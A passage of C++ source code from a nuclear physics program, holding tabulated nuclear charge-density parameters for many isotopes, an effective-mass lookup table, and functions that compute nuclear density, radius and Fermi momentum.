0.49023e-2,-0.67674e-2,-0.18927e-2, 0.15333e-2, 0,
0,0,0,0,0,
0,0};
//Sm152(62,90)Mo81
static double fb_62_90b[18]={9.25,0.72646e-1, 0.21824e-1,-0.54112e-1, 0.98321e-2, 0.16213e-1,
-0.65614e-2, 0.53611e-2,-0.14103e-2,-0.99022e-3,-0.23005e-2,
0,0,0,0,0,
0,0};
//Sm154(62,92)Ho80
static double fb_62_92[18]={10.5,0.55859e-1, 0.44002e-1,-0.40342e-1,-0.17989e-1, 0.19817e-1,
0.51643e-2,-0.60212e-2,-0.23127e-2, 0.47024e-3, 0,
0,0,0,0,0,
0,0};
//Gd154(64,90)He82
static double fb_64_90[18]={10.0,0.63832e-1, 0.36983e-1,-0.48193e-1,-0.51046e-2, 0.19805e-1,
-0.82574e-3,-0.46942e-2,0,0,0,
0,0,0,0,0,
0,0};
//Gd158(64,94)Mu84
static double fb_64_94[18]={10.5,0.57217e-1, 0.43061e-1,-0.41996e-1,-0.17203e-1, 0.19933e-1,
0.51060e-2,-0.73665e-2,-0.20926e-2, 0.21883e-2,0,
0,0,0,0,0,
0,0};
//Er166(68,98)Ca78
static double fb_68_98[18]={11.0,0.54426e-1, 0.47165e-1,-0.38654e-1,-0.19672e-1, 0.22092e-1,
0.78708e-2,-0.53005e-2, 0.50005e-3, 0.52005e-3,-0.35003e-3,
0.12001e-3,0,0,0,0,
0,0};
//Yb174(70,104)Sa79
static double fb_70_104[18]={11.0,0.54440e-1, 0.40034e-1,-0.45606e-1,-0.20932e-1, 0.20455e-1,
0.27061e-2,-0.60489e-2,-0.15918e-3, 0.11938e-2, 0,
0,0,0,0,0,
0,0};
//Lu175(71,104)Sa79
static double fb_71_104[18]={11.0,0.55609e-1, 0.42243e-1,-0.45028e-1,-0.19491e-1, 0.22514e-1,
0.38982e-2,-0.72395e-2, 0.31822e-3,-0.23866e-3,0,
0,0,0,0,0,
0,0};
//Os192(76,116)Re84
static double fb_76_116[18]={11.0,0.59041e-1, 0.41498e-1,-0.49900e-1,-0.10183e-1, 0.29067e-1,
-0.57382e-2,-0.92348e-2, 0.36170e-2, 0.28736e-2, 0.24194e-3,
-0.16766e-2, 0.73610e-3, 0,0,0,
0,0};
//Pt196(78,118)Bo83
static double fb_78_118[18]={12.0,0.50218e-1, 0.53722e-1,-0.35015e-1,-0.34588e-1, 0.23564e-1,
0.14340e-1,-0.13270e-1,-0.51212e-2, 0.56088e-2, 0.14890e-2,
-0.10928e-2, 0.55662e-3,-0.50557e-4,-0.19708e-3, 0.24016e-3,
0,0};
//Tl203(81,122)Eu78
static double fb_81_122[18]={12.0,0.51568e-1, 0.51562e-1,-0.39299e-1,-0.30826e-1, 0.27491e-1,
0.10795e-1,-0.15922e-1,-0.25527e-2, 0.58548e-2, 0.19324e-3,
-0.17925e-3, 0.14307e-3,-0.91669e-4, 0.53497e-4,-0.29492e-4,
0.15625e-4,-0.80141e-5};
//Tl205(81,124)Eu78
static double fb_81_124[18]={12.0,0.51518e-1, 0.51165e-1,-0.39559e-1,-0.30118e-1, 0.27600e-1,
0.10412e-1,-0.15725e-1,-0.26546e-2, 0.70184e-2, 0.82116e-3,
-0.51805e-3, 0.32560e-3,-0.18670e-3, 0.10202e-3,-0.53857e-4,
0.27672e-4,-0.13873e-4};
//Pb204(82,122)Eu78
static double fb_82_122[18]={12.0,0.52102e-1, 0.51786e-1,-0.39188e-1,-0.29242e-1, 0.28992e-1,
0.11040e-1,-0.14591e-1,-0.94917e-3, 0.71349e-2, 0.24780e-3,
-0.61656e-3, 0.42335e-3,-0.25250e-3, 0.14106e-3,-0.75446e-4,
0.39143e-4,-0.19760e-4};
//Pb206(82,124)Eu78
static double fb_82_124[18]={12.0,0.52019e-1, 0.51190e-1,-0.39459e-1,-0.28405e-1, 0.28862e-1,
0.10685e-1,-0.14550e-1,-0.13519e-2, 0.77624e-2,-0.41882e-4,
-0.97010e-3, 0.69611e-3,-0.42410e-3, 0.23857e-3,-0.12828e-3,
0.66663e-4,-0.33718e-4};
//Pb207(82,125)Eu78
static double fb_82_125[18]={12.0,0.51981e-1, 0.51059e-1,-0.39447e-1,-0.28428e-1, 0.28988e-1,
0.10329e-1,-0.14029e-1,-0.46728e-3, 0.67984e-2, 0.56905e-3,
-0.50430e-3, 0.32796e-3,-0.19157e-3, 0.10565e-3,-0.56200e-4,
0.29020e-4,-0.14621e-4};
//Pb208(82,126)Eu78
static double fb_82_126a[18]={12.0,0.51936e-1, 0.50768e-1,-0.39646e-1,-0.28218e-1, 0.28916e-1,
0.98910e-2,-0.14388e-1,-0.98262e-3, 0.72578e-2, 0.82318e-3,
-0.14823e-2, 0.13245e-3,-0.84345e-4, 0.48417e-4,-0.26562e-4,
0.14035e-4,-0.71863e-5};
//Pb208(82,126)Fr77b
static double fb_82_126b[18]={11.0,0.62732e-1, 0.38542e-1,-0.55105e-1,-0.26990e-2, 0.31016e-1,
-0.99486e-2,-0.93012e-2, 0.76653e-2, 0.20885e-2,-0.17840e-2,
-0.74876e-4, 0.32278e-3,-0.11353e-3,0,0,
0,0};
//Bi209(83,126)Eu78
static double fb_83_126[18]={12.0,0.52448e-1, 0.50400e-1,-0.41014e-1,-0.27927e-1, 0.29587e-1,
0.98017e-2,-0.14930e-1,-0.31967e-3, 0.77252e-2, 0.57533e-3,
-0.82529e-3, 0.25728e-3,-0.11043e-3, 0.51930e-4,-0.24767e-4,
0.11863e-4,-0.56554e-5};
// Sum Of Gausians { rms, RP, R1, Q1,R2, Q2, ...,R12 ,Q12}
//H3(1,2)Ju85s
static double sog_1_2[26]=
{
1.764,0.80,
0.0, 0.035952,
0.2, 0.027778,
0.5, 0.131291,
0.8, 0.221551,
1.2, 0.253691,
1.6, 0.072905,
2.0, 0.152243,
2.5, 0.051564,
3.0, 0.053023,
0,0,
0,0,
0,0
};
//He3(2,1)MC77
static double sog_2_1[26]=
{
1.835, 1.10,
0.0, 0.000029,
0.6, 0.606482,
1.0, 0.066077,
1.3, 0.000023,
1.8, 0.204417,
2.3, 0.115236,
2.7, 0.000001,
3.2, 0.006974,
4.1, 0.000765,
0,0,
0,0,
0,0
};
//He4(2,2)Si82
static double sog_2_2[26]=
{
1.6768,1.00,
0.2, 0.034724,
0.6, 0.430761,
0.9, 0.203166,
1.4, 0.192986,
1.9, 0.083866,
2.3, 0.033007,
2.6, 0.014201,
3.1, 0.000000,
3.5, 0.006860,
4.2, 0.000000,
4.9, 0.000438,
5.2, 0.000000
};
//C12(6,6)Si82
static double sog_6_6[26]=
{
2.4696, 1.20,
0.0, 0.016690,
0.4, 0.050325,
1.0, 0.128621,
1.3, 0.180515,
1.7, 0.219097,
2.3, 0.278416,
2.7, 0.058779,
3.5, 0.057817,
4.3, 0.007739,
5.4, 0.002001,
6.7, 0.000007,
0, 0
};
//O16(8,8)Si70b
static double sog_8_8[26]=
{
2.711, 1.30,
0.4, 0.057056,
1.1, 0.195701,
1.9, 0.311188,
2.2, 0.224321,
2.7, 0.059946,
3.3, 0.135714,
4.1, 0.000024,
4.6, 0.013961,
5.3, 0.000007,
5.6, 0.000002,
5.9, 0.002096,
6.4, 0.000002
};
//Mg24(12,12)Li74
static double sog_12_12[26]=
{
3.027, 1.25,
0.1, 0.007372,
0.6, 0.061552,
1.1, 0.056984,
1.5, 0.035187,
1.9, 0.291692,
2.6, 0.228920,
3.2, 0.233532,
4.1, 0.074086,
4.7, 0.000002,
5.2, 0.010876,
6.1, 0.000002,
7.0, 0.000002
};
//Si28(14,14)Li74
static double sog_14_14[26]=
{
3.121, 1.30,
0.4, 0.033149,
1.0, 0.106452,
1.9, 0.206866,
2.4, 0.286391,
3.2, 0.250448,
3.6, 0.056944,
4.1, 0.016829,
4.6, 0.039630,
5.1, 0.000002,
5.5, 0.000938,
6.0, 0.000002,
6.9, 0.002366
};
//S32(16,16)Li74
static double sog_16_16[26]=
{
3.258, 1.35,
0.4, 0.045356,
1.1, 0.067478,
1.7, 0.172560,
2.5, 0.324870,
3.2, 0.254889,
4.0, 0.101799,
4.6, 0.022166,
5.0, 0.002081,
5.5, 0.005616,
6.3, 0.000020,
7.3, 0.000020,
7.7, 0.003219
};
//K39(19,20)Si74
static double sog_19_20[26]=
{
3.427, 1.45,
0.4, 0.043308,
0.9, 0.036283,
1.7, 0.110517,
2.1, 0.147676,
2.6, 0.189541,
3.2, 0.274173,
3.7, 0.117691,
4.2, 0.058273,
4.7, 0.000006,
5.5, 0.021380,
5.9, 0.000002,
6.9, 0.001145
};
//Ca40(20,20)Si79
static double sog_20_20[26]=
{
3.4803, 1.45,
0.4, 0.042870,
1.2, 0.056020,
1.8, 0.167853,
2.7, 0.317962,
3.2, 0.155450,
3.6, 0.161897,
4.3, 0.053763,
4.6, 0.032612,
5.4, 0.004803,
6.3, 0.004541,
6.6, 0.000015,
8.1, 0.002218
};
//Ca48(20,28)Si74
static double sog_20_28[26]=
{
3.460, 1.45,
0.6, 0.063035,
1.1, 0.011672,
1.7, 0.064201,
2.1, 0.203813,
2.9, 0.259070,
3.4, 0.307899,
4.3, 0.080585,
5.2, 0.008498,
5.7, 0.000025,
6.2, 0.000005,
6.5, 0.000004,
7.4, 0.001210
};
//Ni58(28,30)Ca80b
static double sog_28_30[26]=
{
3.7724, 1.45,
0.5, 0.035228,
1.4, 0.065586,
2.2, 0.174552,
3.0, 0.199916,
3.4, 0.232360,
3.9, 0.118496,
4.2, 0.099325,
4.6, 0.029860,
5.2, 0.044912,
5.9, 0.000232,
6.6, 0.000002,
7.9, 0.000010
};
//Sn116(50,66)Ca82a
static double sog_50_66[26]=
{
4.6271, 1.60,
0.1, 0.005727,
0.7, 0.009643,
1.3, 0.038209,
1.8, 0.009466,
2.3, 0.096665,
3.1, 0.097840,
3.8, 0.269373,
4.8, 0.396671,
5.5, 0.026390,
6.1, 0.048157,
7.1, 0.001367,
8.1, 0.000509
};
//Sn124(50,74)Ca82a
static double sog_50_74[26]=
{
4.6771, 1.60,
0.1, 0.004877,
0.7, 0.010685,
1.3, 0.030309,
1.8, 0.015857,
2.3, 0.088927,
3.1, 0.091917,
3.8, 0.257379,
4.8, 0.401877,
5.5, 0.053646,
6.1, 0.043193,
7.1, 0.001319,
8.1, 0.000036
};
//Tl205(81,124)Fr83
static double sog_81_124[26]=
{
5.479, 1.70,
0.6, 0.007818,
1.1, 0.022853,
2.1, 0.000084,
2.6, 0.105635,
3.1, 0.022340,
3.8, 0.059933,
4.4, 0.235874,
5.0, 0.000004,
5.7, 0.460292,
6.8, 0.081621,
7.2, 0.002761,
8.6, 0.000803
};
//Pb206(82,124)Fr83
static double sog_82_124[26]=
{
5.490, 1.70,
0.6, 0.010615,
1.1, 0.021108,
2.1, 0.000060,
2.6, 0.102206,
3.1, 0.023476,
3.8, 0.065884,
4.4, 0.226032,
5.0, 0.000005,
5.7, 0.459690,
6.8, 0.086351,
7.2, 0.004589,
8.6, 0.000011
};
//Pb208(82,126)Fr77a
static double sog_82_126[26]=
{
5.5032, 1.70,
0.1, 0.003845,
0.7, 0.009724,
1.6, 0.033093,
2.1, 0.000120,
2.7, 0.083107,
3.5, 0.080869,
4.2, 0.139957,
5.1, 0.260892,
6.0, 0.336013,
6.6, 0.033637,
7.6, 0.018729,
8.7, 0.000020
};
nucleus_data dens_data[]=
{
nucleus_data( 1, 2, prfFB, fb_1_2 ),
nucleus_data( 2, 1, prfFB, fb_2_1 ),
nucleus_data( 6, 6, prfFB, fb_6_6a ),
nucleus_data( 6, 6, prfFB, fb_6_6b ),
nucleus_data( 7, 8, prfFB, fb_7_8 ),
nucleus_data( 8, 8, prfFB, fb_8_8 ),
nucleus_data(13, 14, prfFB, fb_13_14 ),
nucleus_data(14, 14, prfFB, fb_14_14 ),
nucleus_data(14, 15, prfFB, fb_14_15 ),
nucleus_data(14, 16, prfFB, fb_14_16 ),
nucleus_data(15, 16, prfFB, fb_15_16 ),
nucleus_data(16, 16, prfFB, fb_16_16 ),
nucleus_data(16, 18, prfFB, fb_16_18 ),
nucleus_data(16, 20, prfFB, fb_16_20 ),
nucleus_data(18, 22, prfFB, fb_18_22 ),
nucleus_data(20, 20, prfFB, fb_20_20 ),
nucleus_data(20, 24, prfFB, fb_20_24 ),
nucleus_data(22, 26, prfFB, fb_22_26 ),
nucleus_data(22, 28, prfFB, fb_22_28 ),
nucleus_data(24, 26, prfFB, fb_24_26 ),
nucleus_data(24, 28, prfFB, fb_24_28 ),
nucleus_data(24, 30, prfFB, fb_24_30 ),
nucleus_data(26, 28, prfFB, fb_26_28 ),
nucleus_data(26, 30, prfFB, fb_26_30 ),
nucleus_data(26, 32, prfFB, fb_26_32 ),
nucleus_data(27, 32, prfFB, fb_27_32 ),
nucleus_data(28, 30, prfFB, fb_28_30a ),
nucleus_data(28, 30, prfFB, fb_28_30b ),
nucleus_data(28, 32, prfFB, fb_28_32a ),
nucleus_data(28, 32, prfFB, fb_28_32b ),
nucleus_data(28, 32, prfFB, fb_28_32c ),
nucleus_data(28, 34, prfFB, fb_28_34 ),
nucleus_data(28, 36, prfFB, fb_28_36 ),
nucleus_data(29, 34, prfFB, fb_29_34 ),
nucleus_data(29, 36, prfFB, fb_29_36 ),
nucleus_data(30, 34, prfFB, fb_30_34 ),
nucleus_data(30, 36, prfFB, fb_30_36 ),
nucleus_data(30, 38, prfFB, fb_30_38 ),
nucleus_data(30, 40, prfFB, fb_30_40 ),
nucleus_data(32, 38, prfFB, fb_32_38 ),
nucleus_data(32, 40, prfFB, fb_32_40 ),
nucleus_data(32, 42, prfFB, fb_32_42 ),
nucleus_data(32, 44, prfFB, fb_32_44 ),
nucleus_data(38, 40, prfFB, fb_38_40 ),
nucleus_data(40, 50, prfFB, fb_40_50 ),
nucleus_data(40, 52, prfFB, fb_40_52 ),
nucleus_data(40, 54, prfFB, fb_40_54 ),
nucleus_data(42, 50, prfFB, fb_42_50 ),
nucleus_data(42, 52, prfFB, fb_42_52 ),
nucleus_data(42, 54, prfFB, fb_42_54 ),
nucleus_data(42, 56, prfFB, fb_42_56 ),
nucleus_data(42, 58, prfFB, fb_42_58 ),
nucleus_data(46, 58, prfFB, fb_46_58 ),
nucleus_data(46, 60, prfFB, fb_46_60 ),
nucleus_data(46, 62, prfFB, fb_46_62 ),
nucleus_data(46, 64, prfFB, fb_46_64 ),
nucleus_data(62, 82, prfFB, fb_62_82 ),
nucleus_data(62, 86, prfFB, fb_62_86a ),
nucleus_data(62, 86, prfFB, fb_62_86b ),
nucleus_data(62, 88, prfFB, fb_62_88 ),
nucleus_data(62, 90, prfFB, fb_62_90a ),
nucleus_data(62, 90, prfFB, fb_62_90b ),
nucleus_data(62, 92, prfFB, fb_62_92 ),
nucleus_data(64, 90, prfFB, fb_64_90 ),
nucleus_data(64, 94, prfFB, fb_64_94 ),
nucleus_data(68, 98, prfFB, fb_68_98 ),
nucleus_data(70,104, prfFB, fb_70_104 ),
nucleus_data(71,104, prfFB, fb_71_104 ),
nucleus_data(76,116, prfFB, fb_76_116 ),
nucleus_data(78,118, prfFB, fb_78_118 ),
nucleus_data(81,122, prfFB, fb_81_122 ),
nucleus_data(81,124, prfFB, fb_81_124 ),
nucleus_data(82,122, prfFB, fb_82_122 ),
nucleus_data(82,124, prfFB, fb_82_124 ),
nucleus_data(82,125, prfFB, fb_82_125 ),
nucleus_data(82,126, prfFB, fb_82_126a),
nucleus_data(82,126, prfFB, fb_82_126b),
nucleus_data(83,126, prfFB, fb_83_126 ),
nucleus_data( 1, 2, prfSOG, sog_1_2 ),
nucleus_data( 2, 1, prfSOG, sog_2_1 ),
nucleus_data( 2, 2, prfSOG, sog_2_2 ),
nucleus_data( 6, 6, prfSOG, sog_6_6 ),
nucleus_data( 8, 8, prfSOG, sog_8_8 ),
nucleus_data(12, 12, prfSOG, sog_12_12 ),
nucleus_data(14, 14, prfSOG, sog_14_14 ),
nucleus_data(16, 16, prfSOG, sog_16_16 ),
nucleus_data(19, 20, prfSOG, sog_19_20 ),
nucleus_data(20, 20, prfSOG, sog_20_20 ),
nucleus_data(20, 28, prfSOG, sog_20_28 ),
nucleus_data(28, 30, prfSOG, sog_28_30 ),
nucleus_data(50, 66, prfSOG, sog_50_66 ),
nucleus_data(50, 74, prfSOG, sog_50_74 ),
nucleus_data(81,124, prfSOG, sog_81_124),
nucleus_data(82,124, prfSOG, sog_82_124),
nucleus_data(82,126, prfSOG, sog_82_126),
nucleus_data( 3, 4, prfHO, ho_3_4 ),
nucleus_data( 4, 5, prfHO, ho_4_5 ),
nucleus_data( 5, 5, prfHO, ho_5_5 ),
nucleus_data( 5, 6, prfHO, ho_5_6 ),
nucleus_data( 8, 8, prfHO, ho_8_8 ),
nucleus_data( 8, 9, prfHO, ho_8_9 ),
nucleus_data( 8, 10, prfHO, ho_8_10 ),
nucleus_data( 6, 7, prfMHO, mho_6_7 ),
nucleus_data( 6, 8, prfMHO, mho_6_8 ),
nucleus_data(7, 7, prf3pF, _3pF_7_7 ),
nucleus_data(7 , 8, prf3pF, _3pF_7_8 ),
nucleus_data(12, 12, prf3pF, _3pF_12_12a),
nucleus_data(12, 12, prf3pF, _3pF_12_12b),
nucleus_data(12, 13, prf3pF, _3pF_12_13),
nucleus_data(14, 14, prf3pF, _3pF_14_14),
nucleus_data(14, 15, prf3pF, _3pF_14_15),
nucleus_data(14, 16, prf3pF, _3pF_14_16),
nucleus_data(15, 16, prf3pF, _3pF_15_16),
nucleus_data(17, 18, prf3pF, _3pF_17_18),
nucleus_data(17, 20, prf3pF, _3pF_17_20),
nucleus_data(19, 20, prf3pF, _3pF_19_20),
nucleus_data(20, 20, prf3pF, _3pF_20_20),
nucleus_data(20, 28, prf3pF, _3pF_20_28),
nucleus_data(28, 30, prf3pF, _3pF_28_30),
nucleus_data(28, 32, prf3pF, _3pF_28_32),
nucleus_data(28, 33, prf3pF, _3pF_28_33),
nucleus_data(28, 34, prf3pF, _3pF_28_34),
nucleus_data(28, 36, prf3pF, _3pF_28_36),
nucleus_data(16, 16, prf3pG, _3pG_16_16),
nucleus_data(40, 50, prf3pG, _3pG_40_50),
nucleus_data(40, 51, prf3pG, _3pG_40_51),
nucleus_data(40, 52, prf3pG, _3pG_40_52),
nucleus_data(40, 54, prf3pG, _3pG_40_54),
nucleus_data(40, 56, prf3pG, _3pG_40_56),
nucleus_data(42, 50, prf3pG, _3pG_42_50),
nucleus_data( 9, 10, prf2pF, _2pF_9_10 ),
nucleus_data(10, 10, prf2pF, _2pF_10_10),
nucleus_data(10, 12, prf2pF, _2pF_10_12),
nucleus_data(12, 12, prf2pF, _2pF_12_12),
nucleus_data(12, 14, prf2pF, _2pF_12_14),
nucleus_data(13, 14, prf2pF, _2pF_13_14),
nucleus_data(18, 18, prf2pF, _2pF_18_18),
nucleus_data(18, 22, prf2pF, _2pF_18_22),
nucleus_data(22, 26, prf2pF, _2pF_22_26),
nucleus_data(23, 28, prf2pF, _2pF_23_28),
nucleus_data(24, 26, prf2pF, _2pF_24_26),
nucleus_data(24, 28, prf2pF, _2pF_24_28),
nucleus_data(24, 29, prf2pF, _2pF_24_29),
nucleus_data(25, 30, prf2pF, _2pF_25_30),
nucleus_data(26, 28, prf2pF, _2pF_26_28),
nucleus_data(26, 30, prf2pF, _2pF_26_30),
nucleus_data(26, 32, prf2pF, _2pF_26_32),
nucleus_data(27, 32, prf2pF, _2pF_27_32),
nucleus_data(29, 34, prf2pF, _2pF_29_34),
nucleus_data(29, 36, prf2pF, _2pF_29_36),
nucleus_data(30, 34, prf2pF, _2pF_30_34),
nucleus_data(30, 36, prf2pF, _2pF_30_36),
nucleus_data(30, 38, prf2pF, _2pF_30_38),
nucleus_data(30, 40, prf2pF, _2pF_30_40),
nucleus_data(32, 38, prf2pF, _2pF_32_38),
nucleus_data(32, 40, prf2pF, _2pF_32_40),
nucleus_data(38, 50, prf2pF, _2pF_38_50),
nucleus_data(39, 50, prf2pF, _2pF_39_50),
nucleus_data(41, 52, prf2pF, _2pF_41_52),
nucleus_data(79, 118, prf2pF, _2pF_79_118),
nucleus_data(90, 142, prf2pF, _2pF_Th232a),
nucleus_data(90, 142, prf2pF, _2pF_Th232b),
nucleus_data(92, 146, prf2pF, _2pF_U238a),
nucleus_data(92, 146, prf2pF, _2pF_U238b),
// nucleus_data( 1, 0, prfMI, mi_1_0 ),
// nucleus_data( 1, 1, prfMI, mi_1_1 ),
// nucleus_data( 2, 1, prfMI, mi_2_1 ),
// nucleus_data( 2, 2, prfMI, mi_2_2 ),
nucleus_data( 11, 12, prfUG, ug_11_12 ),
nucleus_data( 0, 0, 0, 0)
};
double nucleus_data::dens(double r)
{
double X=dens_fun(dens_params,r/fermi)/fermi3;
if(dens_fun==prf3pF
|| dens_fun==prf3pG
|| dens_fun==prfSOG)
return X*(_p+_n);
if(dens_fun==prfFB)
return X*(_p+_n)/_p;
return X;
}
const char* nucleus_data::name()
{
//return el[p].name;
if(dens_fun==prfFB) return " FB";
if(dens_fun==prfSOG) return "SOG";
if(dens_fun==prf2pF) return "2pF";
if(dens_fun==prf3pF) return "3pF";
if(dens_fun==prf3pG) return "3pG";
if(dens_fun==prfHO) return " HO";
if(dens_fun==prfMHO) return "MHO";
if(dens_fun==prfMI) return " MI";
if(dens_fun==prfUG) return " UG";
return "";
}
double nucleus_data::r()
{
if(_r==0)
{
if(dens_fun==prfFB)
return _r=dens_params[0]*fermi;
double r0=0;
double r1=20.0*fermi;
double oldrs=r1;
double rs=0;
double ds0=1e-7*dens(0);
do
{
oldrs=rs;
rs=(r0+r1)/2;
double ds=dens(rs);
if(ds>ds0)
r0=rs;
else
r1=rs;
}
while(rs!=oldrs);
_r=rs;
}
return _r;
}
double nucleus_data::random_r()
{
if(_max_rr_dens==0)
{
double R=r(),d=0;
for(double a=0;a<R;a+=R/100)
_max_rr_dens=max(_max_rr_dens,a*a*dens(a));
}
static int i=0,j=0;
++j;
double r0=r(),r1;
do
{
++i;
r1 = r0*frandom();
}
while ( r1*r1*dens(r1) < frandom ()*_max_rr_dens);
// cout<<i*1./j<<endl;
return r1;
}
double nucleus_data::kF()
{
if(_kF==0)
{
_kF=calg5a(makefun(*this,&nucleus_data::kf_helper),0,r())/
calg5a(makefun(*this,&nucleus_data::dens_helper),0,r())
;
}
return _kF;
}
double nucleus_data::Mf()
{
if(_Mf==0)
{
// _Mf=calg5a(makefun(*this,&nucleus_data::mf_helper),0,r())/
// calg5a(makefun(*this,&nucleus_data::dens_helper),0,r());
_Mf=Meff(kF());
}
return _Mf;
}
nucleus_data* best_data(int p, int n)
{
int p0=p,n0=n,x=1000000000;
nucleus_data *d=dens_data;
for(nucleus_data *data=dens_data; data->p() >0; data++)
{
int x1=pow2(data->p()-p0)+pow2(data->n()-n0)+pow2(data->p()+data->n()-p0-n0);
if(x1<x)
{
x=x1;
d=data;
if(x==0)
return data;
}
}
return d;
}
double density(double r_,int p, int n)
{
double A=p+n;
if(p>83) ///< for big nuclei use rescaled Pb profile
return ::density(r_*cbrt((82+126)/A),82,126);
double r=r_;
nucleus_data *d=best_data(p,n);
r*=cbrt(A/d->A()); // and scale its size if needed
return max(d->dens(r),0.);
}
double Meff(double kf)
{
static const double MEF[3000]=
{
938.919,938.918,938.918,938.918,938.917,938.915,938.913,938.909,938.904,
938.899,938.891,938.882,938.871,938.858,938.843,938.826,938.806,938.784,
938.759,938.731,938.699,938.665,938.627,938.585,938.54,938.491,938.437,
938.38,938.318,938.251,938.179,938.103,938.021,937.935,937.843,937.745,
937.641,937.532,937.417,937.295,937.167,937.032,936.891,936.743,936.587,
936.425,936.255,936.077,935.892,935.699,935.498,935.289,935.072,934.845,
934.611,934.367,934.114,933.853,933.582,933.301,933.011,932.711,932.401,
932.08,931.75,931.409,931.057,930.695,930.322,929.937,929.541,929.134,
928.716,928.285,927.843,927.388,926.921,926.442,925.951,925.446,924.929,
924.399,923.855,923.298,922.728,922.144,921.546,920.934,920.308,919.667,
919.012,918.343,917.658,916.959,916.245,915.515,914.77,914.009,913.233,
912.44,911.632,910.807,909.966,909.109,908.235,907.344,906.436,905.511,
904.568,903.608,902.631,901.635,900.622,899.591,898.541,897.473,896.387,
895.282,894.157,893.014,891.852,890.671,889.47,888.249,887.009,885.749,
884.469,883.168,881.848,880.506,879.144,877.762,876.358,874.933,873.488,
872.02,870.531,869.021,867.489,865.934,864.358,862.76,861.139,859.495,
857.829,856.14,854.429,852.694,850.936,849.155,847.35,845.521,843.669,
841.793,839.893,837.969,836.021,834.048,832.051,830.029,827.983,825.911,
823.815,821.694,819.547,817.375,815.177,812.954,810.706,808.431,806.131,
803.805,801.452,799.074,796.669,794.237,791.78,789.295,786.784,784.246,
781.682,779.09,776.472,773.826,771.153,768.453,765.726,762.972,760.19,
757.38,754.543,751.679,748.787,745.867,742.92,739.944,736.942,733.911,
730.853,727.767,724.653,721.511,718.341,715.144,711.919,708.667,705.386,
702.078,698.743,695.38,691.99,688.572,685.127,681.654,678.155,674.628,
671.075,667.495,663.889,660.256,656.596,652.911,649.2,645.463,641.701,
637.913,634.101,630.264,626.402,622.516,618.607,614.674,610.718,606.74,
602.739,598.716,594.671,590.606,586.52,582.414,578.288,574.144,569.981,
565.8,561.603,557.388,553.158,548.913,544.653,540.38,536.093,531.795,
527.486,523.166,518.837,514.499,510.154,505.802,501.445,497.083,492.718,
488.351,483.983,479.615,475.248,470.883,466.522,462.166,457.816,453.474,
449.14,444.817,440.505,436.205,431.92,427.65,423.397,419.162,414.947,
410.752,406.579,402.43,398.305,394.206,390.134,386.091,382.077,378.094,
374.142,370.223,366.338,362.488,358.673,354.895,351.154,347.452,343.788,
340.163,336.579,333.035,329.532,326.071,322.652,319.275,315.94,312.648,
309.399,306.193,303.03,299.91,296.833,293.799,290.808,287.859,284.953,
282.088,279.266,276.485,273.746,271.048,268.39,265.772,263.193,260.655,
258.154,255.692,253.268,250.881,248.531,246.217,243.939,241.696,239.488,
237.313,235.172,233.065,230.989,228.946,226.933,224.952,223,221.079,
219.186,217.323,215.487,213.679,211.898,210.143,208.415,206.712,205.034,
203.381,201.752,200.146,198.564,197.005,195.467,193.952,192.459,190.986,
189.534,188.102,186.69,185.298,183.925,182.57,181.234,179.916,178.616,
177.333,176.066,174.817,173.584,172.367,171.166,169.98,168.81,167.654,
166.513,165.386,164.274,163.175,162.09,161.018,159.959,158.913,157.88,
156.859,155.85,154.853,153.868,152.894,151.932,150.981,150.041,149.111,
148.192,147.284,146.385,145.497,144.618,143.75,142.89,142.04,141.2,
140.368,139.545,138.731,137.926,137.129,136.34,135.56,134.788,134.023,
133.267,132.518,131.777,131.043,130.317,129.597,128.885,128.18,127.482,
126.791,126.106,125.428,124.757,124.092,123.433,122.78,122.134,121.493,
120.859,120.23,119.607,118.99,118.379,117.773,117.173,116.578,115.988,
115.403,114.824,114.25,113.68,113.116,112.557,112.002,111.453,110.908,
110.367,109.831,109.3,108.773,108.251,107.733,107.219,106.709,106.204,
105.703,105.206,104.712,104.223,103.738,103.257,102.779,102.305,101.836,
101.369,100.907,100.448,99.9921,99.5401,99.0916,98.6466,98.205,97.7667,
97.3317,96.9001,96.4716,96.0464,95.6243,95.2054,94.7896,94.3768,93.9671,
93.5604,93.1566,92.7557,92.3578,91.9627,91.5704,91.181,90.7943,90.4104,
90.0292,89.6506,89.2748,88.9015,88.5308,88.1628,87.7972,87.4342,87.0737,
86.7156,86.36,86.0068,85.656,85.3075,84.9614,84.6177,84.2762,83.937,
83.6,83.2653,82.9327,82.6024,82.2742,81.9482,81.6242,81.3024,80.9827,
80.665,80.3494,80.0357,79.7241,79.4145,79.1068,78.8011,78.4972,78.1953,
77.8953,77.5972,77.3009,77.0065,76.7138,76.423,76.134,75.8467,75.5612,
75.2775,74.9954,74.7151,74.4365,74.1595,73.8842,73.6105,73.3385,73.0681,
72.7993,72.5321,72.2665,72.0025,71.7399,71.479,71.2195,70.9616,70.7051,
70.4502,70.1967,69.9447,69.6941,69.445,69.1972,68.9509,68.706,68.4625,
68.2204,67.9796,67.7402,67.5021,67.2653,67.0299,66.7958,66.563,66.3314,
66.1012,65.8722,65.6445,65.418,65.1928,64.9687,64.746,64.5244,64.304,
64.0848,63.8668,63.65,63.4343,63.2198,63.0064,62.7941,62.583,62.373,
62.1641,61.9564,61.7497,61.5441,61.3395,61.1361,60.9337,60.7323,60.532,
60.3328,60.1345,59.9373,59.7411,59.5459,59.3517,59.1585,58.9663,58.7751,
58.5848,58.3955,58.2071,58.0197,57.8333,57.6478,57.4632,57.2795,57.0968,
56.9149,56.734,56.5539,56.3748,56.1965,56.0191,55.8426,55.6669,55.4921,
55.3182,55.1451,54.9728,54.8014,54.6308,54.4611,54.2921,54.124,53.9567,
53.7902,53.6244,53.4595,53.2954,53.132,52.9694,52.8076,52.6465,52.4863,
52.3267,52.1679,52.0099,51.8526,51.696,51.5402,51.3851,51.2307,51.077,
50.924,50.7718,50.6202,50.4694,50.3192,50.1697,50.021,49.8728,49.7254,
49.5786,49.4326,49.2871,49.1423,48.9982,48.8548,48.7119,48.5698,48.4282,
48.2873,48.147,48.0074,47.8683,47.7299,47.5921,47.4549,47.3184,47.1824,
47.047,46.9122,46.778,46.6444,46.5114,46.379,46.2471,46.1158,45.9851,
45.855,45.7254,45.5964,45.4679,45.34,45.2126,45.0858,44.9595,44.8338,
44.7086,44.584,44.4598,44.3362,44.2132,44.0906,43.9686,43.8471,43.7261,
43.6056,43.4856,43.3661,43.2471,43.1286,43.0107,42.8932,42.7761,42.6596,
42.5436,42.428,42.313,42.1984,42.0842,41.9706,41.8574,41.7446,41.6324,
41.5206,41.4092,41.2983,41.1879,41.0779,40.9683,40.8592,40.7506,40.6424,
40.5346,40.4272,40.3203,40.2138,40.1078,40.0021,39.8969,39.7921,39.6877,
